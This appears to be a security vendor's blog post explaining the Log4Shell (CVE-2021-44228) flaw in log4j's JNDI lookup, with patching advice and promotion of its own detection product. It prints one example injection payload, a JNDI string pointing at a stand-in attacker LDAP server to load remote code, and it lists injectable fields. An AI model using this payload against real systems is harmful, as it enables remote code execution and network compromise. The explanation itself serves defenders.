The Log4Shell CVE-2021-44228 Vulnerability: What it is, how it works, and how to protect yourself

News of the recently discovered vulnerability called “Log4Shell,” “LogJam,” or its formal designation “CVE-2021-44228” has deservedly earned widespread attention because of its prevalence and the severity of the risk. Initially reported by Chen Zhaojun of Alibaba Cloud Security Team, it was quickly known to affect some of the biggest services out there, including Apple iCloud, Twitter, Amazon online store, Cloudflare, and many more.

The Log4Shell vulnerability received a perfect 10 CVSS score — the highest severity rating — and is undoubtedly one of the most dangerous and most widespread vulnerabilities ever discovered.

Spoiler alert: No components of the Salt platform have this vulnerability, and our software identified exploits of this vulnerability in our customers’ environments, even before news of it hit the public. The following screenshot shows the Salt platform’s discovery of a Log4Shell exploit before the world had heard about the vulnerability:

We are augmenting our algorithms to specifically identify and label activities as tied to this CVE, but even before that addition, our AI/ML engine immediately detected exploits of this vulnerability because they surface as deviations from the baselines of our customers’ environments that we’ve already established. In fact, the Salt platform identified these actions before news of the vulnerability was public, and we were able to proactively alert our customers to a new style of attack and block the bad actors before they could penetrate our customers’ systems.

Log4Shell — what it is and how it works

The vulnerability itself lies in the popular Java logging library log4j, which most Java-based applications use.

Since most security vulnerabilities begin with malicious user input being inserted into an application flow, it's hard to imagine how a logging library can be abused. On one hand, sending the application user-controlled input is trivial – all that is required is to understand (or to guess) which values will be logged. On the other hand, whatever input is passed to a logging library will simply be logged and nothing more.

So how can logs become an attack vector? Enter lookup plugins.

Under the hood, log4j is a pretty complex application, and many features have been added over the years to assist more complex and diverse logging scenarios. One of the main tools for doing so are “lookup plugins.” Lookup plugins receive key identifiers and look up their corresponding value to be logged. The difference between plugins usually lies in where and how they look up the data.

The Log4Shell vulnerability is found in a lookup plugin called “JNDI Lookup.” JNDI stands for Java Naming and Directory Services, and it provides a method for Java applications to retrieve objects stored in a directory service such as DNS or LDAP.

By design, the input to JNDI queries should include only object name, and the lookup will be made on a predefined server which is not controlled by any user input. However, Log4j’s context lookup function allows for a dynamic switch between protocol and address in case a URL was inserted instead of the object name.

Imaging the following example, where an attacker managed to insert an object name such as:

${jndi:ldap://myevilserver.com/rce}

Log4j will actually connect to the JNDI service on the specified server, instead of the predefined one, and retrieve the “rce” JAVA object from there, allowing remote code execution on the server performing the actual logging operation.

As mentioned previously, all an attacker has to do to trigger this vulnerability is to figure out, or guess, which input parameters will find their way into a logging command. Parameters could include HTTP headers, body, cookies, tokens, or really anything else that is part of the application connection.

A bad actor could simply inspect the source code for open source applications or guess/fuzz/brute force closed-source applications, web services, and APIs, while constantly looking for connections on the injected URL value.

As may already be clear, the extent of the potential damage of exploiting this vulnerability is huge. Since remote code execution can be achieved by abusing a legitimate connection, a successful attack would lead to a restricted server compromise in the best case and a full network breach in the worst, gaining the attacker access to internal servers, resources, and potentially anything else.

At the time of writing this blog post, the Salt platform has already identified hundreds of active exploitation attempts targeting our customers, who include some of the world’s biggest companies across a wide range of industry sectors. Each one of these attacks, if left undetected and not stopped, could have led to a complete network compromise.

How do I make sure my systems are safe?

First, it's important to understand that the root cause of this issue lies within the Log4j library. The Apache Software Foundation released an emergency patch for the vulnerability. You should upgrade your systems to Log4j 2.15.0 immediately or apply the appropriate mitigations.

Salt Security constantly monitors threats to APIs. Our AI/ML engine baselines legitimate behavior and is therefore able to immediately identify the anomalous behavior of attackers doing reconnaissance, and we can then prevent them from advancing. We also correlate all attacker activities back to a single entity, building an attacker fingerprint, so our customers see even hundreds of activities as a single incident.

As we noted previously, we will update our algorithms to highlight activities attempting to leverage this vulnerability and to provide remediation guidance, but our customers were already protected simply based on the efficacy of our anomaly detection.

Therein lies the power of the Salt advanced AI/ML algorithms. Every API is unique, so every API attack must be unique and makes use of what is essentially a zero-day vulnerability. The whole basis of the Salt platform is to find activities like these, correlate them to a bad actor, and stop these attackers before they can reach their objective.

With Log4Shell, we got to apply that proactive identification and blocking for all our customers at once rather than finding just one vulnerability at a time, as usually happens within our customers’ deployments.

If you’d like to learn more about how Salt can keep your API-based data and services protected from zero-day threats, request a custom demo.

Thanks to Yaniv Balmas, Salt head of security research at Salt, for his analysis of this critical vulnerability.